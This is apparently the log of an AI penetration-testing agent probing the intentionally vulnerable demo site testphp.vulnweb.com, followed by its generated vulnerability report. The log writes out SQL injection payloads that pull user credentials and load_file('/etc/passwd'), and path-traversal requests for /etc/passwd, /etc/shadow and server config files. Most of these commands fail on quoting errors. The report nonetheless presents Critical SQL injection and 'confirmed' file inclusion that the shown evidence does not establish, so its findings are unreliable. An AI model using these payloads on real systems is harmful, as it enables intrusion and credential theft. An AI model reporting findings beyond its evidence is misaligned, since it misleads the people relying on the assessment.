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"tool": "curl",
"args": "-s -k \"testphp.vulnweb.com/search.php?test=\"",
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Warning : This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well. Tip: Look for potential SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF), and more.
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/showimage.php?file=....//....//....//etc/passwd\"",
"success": true,
"output": "\nWarning: fopen(....//....//....//etc/passwd): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 13\n\nWarning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 19\n",
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"args": "-s -k \"testphp.vulnweb.com/AJAX/infoartist.php?id=1' OR '1'='1\"",
"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/AJAX/infoartist.php?id=1' OR '1'='1\"",
"success": false,
"output": "[No output]",
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/hpp/?pp=12\"",
"success": true,
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"tool": "curl",
"args": "-s -k \"testphp.vulnweb.com/comment.php\" -d \"name=test&text=\"",
"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/comment.php\" -d \"name=test&text=\"",
"success": true,
"output": "File not found.\n",
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/listproducts.php?cat=1' UNION SELECT 1,schema_name,3 FROM information_schema.schemata--",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:15.282820"
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"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/listproducts.php?cat=1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--",
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"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/listproducts.php?cat=1' UNION SELECT 1,concat(username,':',password),3 FROM users--",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:15.319181"
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"args": "-s -k \"testphp.vulnweb.com/listproducts.php?cat=1' UNION SELECT 1,load_file('/etc/passwd'),3--",
"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/listproducts.php?cat=1' UNION SELECT 1,load_file('/etc/passwd'),3--",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:15.325993"
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"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
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"tool": "curl",
"args": "-s -k \"http://testphp.vulnweb.com/search.php?test=../../../etc/shadow",
"command": "/usr/bin/curl -s -k \"http://testphp.vulnweb.com/search.php?test=../../../etc/shadow",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:22.146125"
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"tool": "curl",
"args": "-s -k \"http://testphp.vulnweb.com/search.php?test=../../../var/log/apache2/access.log",
"command": "/usr/bin/curl -s -k \"http://testphp.vulnweb.com/search.php?test=../../../var/log/apache2/access.log",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:22.156102"
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"tool": "curl",
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"command": "/usr/bin/curl -s -k \"http://testphp.vulnweb.com/search.php?test=php://filter/convert.base64-encode/resource=../../../etc/passwd",
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"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:22.163483"
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"tool": "curl",
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"command": "/usr/bin/curl -s -k \"http://testphp.vulnweb.com/search.php?test=....//....//....//etc/passwd",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:22.170460"
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"tool": "curl",
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/showimage.php?file=../../../etc/passwd",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:25.845729"
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"tool": "curl",
"args": "-s -k \"testphp.vulnweb.com/showimage.php?file=../../../etc/shadow",
"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/showimage.php?file=../../../etc/shadow",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:25.863248"
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/showimage.php?file=../../../var/www/showimage.php",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:25.873990"
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"tool": "curl",
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"command": "/usr/bin/curl -s -k \"testphp.vulnweb.com/showimage.php?file=../../../etc/apache2/apache2.conf",
"success": false,
"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:25.882574"
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"output": "/bin/sh: -c: line 0: unexpected EOF while looking for matching `\"'\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n",
"timestamp": "2026-01-14T15:34:25.889930"
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"llm_response": "# Executive Summary\n\nA comprehensive penetration test was conducted against testphp.vulnweb.com, a deliberately vulnerable web application used for security testing. The assessment identified multiple critical vulnerabilities including SQL injection, Local File Inclusion (LFI), information disclosure, and HTTP Parameter Pollution. These vulnerabilities pose significant security risks and require immediate remediation.\n\n# Vulnerabilities Found\n\n---\n## CRITICAL - SQL Injection in listproducts.php\n\n| Field | Value |\n|-------|-------|\n| Severity | Critical |\n| CVSS | 9.8 |\n| CWE | CWE-89 |\n| Location | http://testphp.vulnweb.com/listproducts.php |\n\n### Description\nThe `cat` parameter in listproducts.php is vulnerable to SQL injection. The application fails to properly sanitize user input, allowing attackers to manipulate SQL queries and potentially extract sensitive database information.\n\n### Proof of Concept\n\n**Request:**\n```bash\ncurl -s -k \"http://testphp.vulnweb.com/listproducts.php?cat=1'\"\n```\n\n**Payload:**\n```\ncat=1'\n```\n\n**Response Evidence:**\n```\n\n\n\n
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\n```\n\nThe application returns a different response structure when a single quote is injected, indicating the SQL query is being modified and the application is vulnerable to SQL injection.\n\n### Impact\nAn attacker could exploit this vulnerability to:\n- Extract sensitive database information\n- Bypass authentication mechanisms\n- Modify or delete database records\n- Potentially gain unauthorized access to the underlying system\n\n### Remediation\n- Implement parameterized queries or prepared statements\n- Apply input validation and sanitization\n- Use least privilege database accounts\n- Implement proper error handling to prevent information disclosure\n\n---\n## HIGH - Local File Inclusion in showimage.php\n\n| Field | Value |\n|-------|-------|\n| Severity | High |\n| CVSS | 8.6 |\n| CWE | CWE-22 |\n| Location | http://testphp.vulnweb.com/showimage.php |\n\n### Description\nThe `file` parameter in showimage.php is vulnerable to Local File Inclusion (LFI). The application attempts to open files based on user input without proper validation, allowing attackers to potentially access sensitive system files.\n\n### Proof of Concept\n\n**Request:**\n```bash\ncurl -s -k \"testphp.vulnweb.com/showimage.php?file=....//....//....//etc/passwd\"\n```\n\n**Payload:**\n```\nfile=....//....//....//etc/passwd\n```\n\n**Response Evidence:**\n```\nWarning: fopen(....//....//....//etc/passwd): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 13\n\nWarning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 19\n```\n\nThe error messages reveal the server-side file path structure (/hj/var/www/showimage.php) and confirm that the application is attempting to open files based on user input.\n\n### Impact\nAn attacker could exploit this vulnerability to:\n- Read sensitive system files\n- Access configuration files containing credentials\n- Gather information about the server environment\n- Potentially execute arbitrary code through log poisoning\n\n### Remediation\n- Implement a whitelist of allowed files\n- Use proper input validation and sanitization\n- Implement path traversal protection\n- Remove or sanitize error messages that reveal system information\n\n---\n## MEDIUM - Information Disclosure via Error Messages\n\n| Field | Value |\n|-------|-------|\n| Severity | Medium |\n| CVSS | 5.3 |\n| CWE | CWE-209 |\n| Location | http://testphp.vulnweb.com/showimage.php |\n\n### Description\nThe application exposes sensitive information through detailed error messages, revealing server-side file paths and internal application structure.\n\n### Proof of Concept\n\n**Request:**\n```bash\ncurl -s -k \"testphp.vulnweb.com/showimage.php?file=....//....//....//etc/passwd\"\n```\n\n**Payload:**\n```\nfile=....//....//....//etc/passwd\n```\n\n**Response Evidence:**\n```\nWarning: fopen(....//....//....//etc/passwd): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 13\n\nWarning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 19\n```\n\n### Impact\nInformation disclosure can help attackers:\n- Map the application structure\n- Identify technology stack and versions\n- Plan more targeted attacks\n- Understand file system layout\n\n### Remediation\n- Implement custom error pages\n- Log detailed errors server-side only\n- Return generic error messages to users\n- Configure proper error handling in production\n\n---\n## LOW - HTTP Parameter Pollution\n\n| Field | Value |\n|-------|-------|\n| Severity | Low |\n| CVSS | 3.7 |\n| CWE | CWE-444 |\n| Location | http://testphp.vulnweb.com/hpp/ |\n\n### Description\nThe application contains an HTTP Parameter Pollution (HPP) example page that demonstrates how duplicate parameters can be manipulated to bypass security controls.\n\n### Proof of Concept\n\n**Request:**\n```bash\ncurl -s -k \"testphp.vulnweb.com/hpp/?pp=12\"\n```\n\n**Payload:**\n```\npp=12\n```\n\n**Response Evidence:**\n```\n
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Original article \n```\n\n### Impact\nHTTP Parameter Pollution can potentially:\n- Bypass input validation\n- Cause inconsistent parameter handling\n- Lead to security control bypasses\n- Create unexpected application behavior\n\n### Remediation\n- Implement consistent parameter handling\n- Validate and sanitize all input parameters\n- Use proper input validation frameworks\n- Remove demonstration/test pages from production\n\n---\n\n# Summary\n\n| # | Vulnerability | Severity | URL |\n|---|--------------|----------|-----|\n| 1 | SQL Injection | Critical | http://testphp.vulnweb.com/listproducts.php |\n| 2 | Local File Inclusion | High | http://testphp.vulnweb.com/showimage.php |\n| 3 | Information Disclosure | Medium | http://testphp.vulnweb.com/showimage.php |\n| 4 | HTTP Parameter Pollution | Low | http://testphp.vulnweb.com/hpp/ |\n\n# Recommendations\n\n1. **Immediate Priority (Critical)**: Fix SQL injection vulnerabilities by implementing parameterized queries and proper input validation\n2. **High Priority**: Address Local File Inclusion vulnerabilities by implementing file access controls and input sanitization\n3. **Medium Priority**: Configure proper error handling to prevent information disclosure\n4. **Low Priority**: Remove test/demonstration pages and implement consistent parameter handling\n5. **General**: Conduct regular security assessments and implement a secure development lifecycle (SDLC)",
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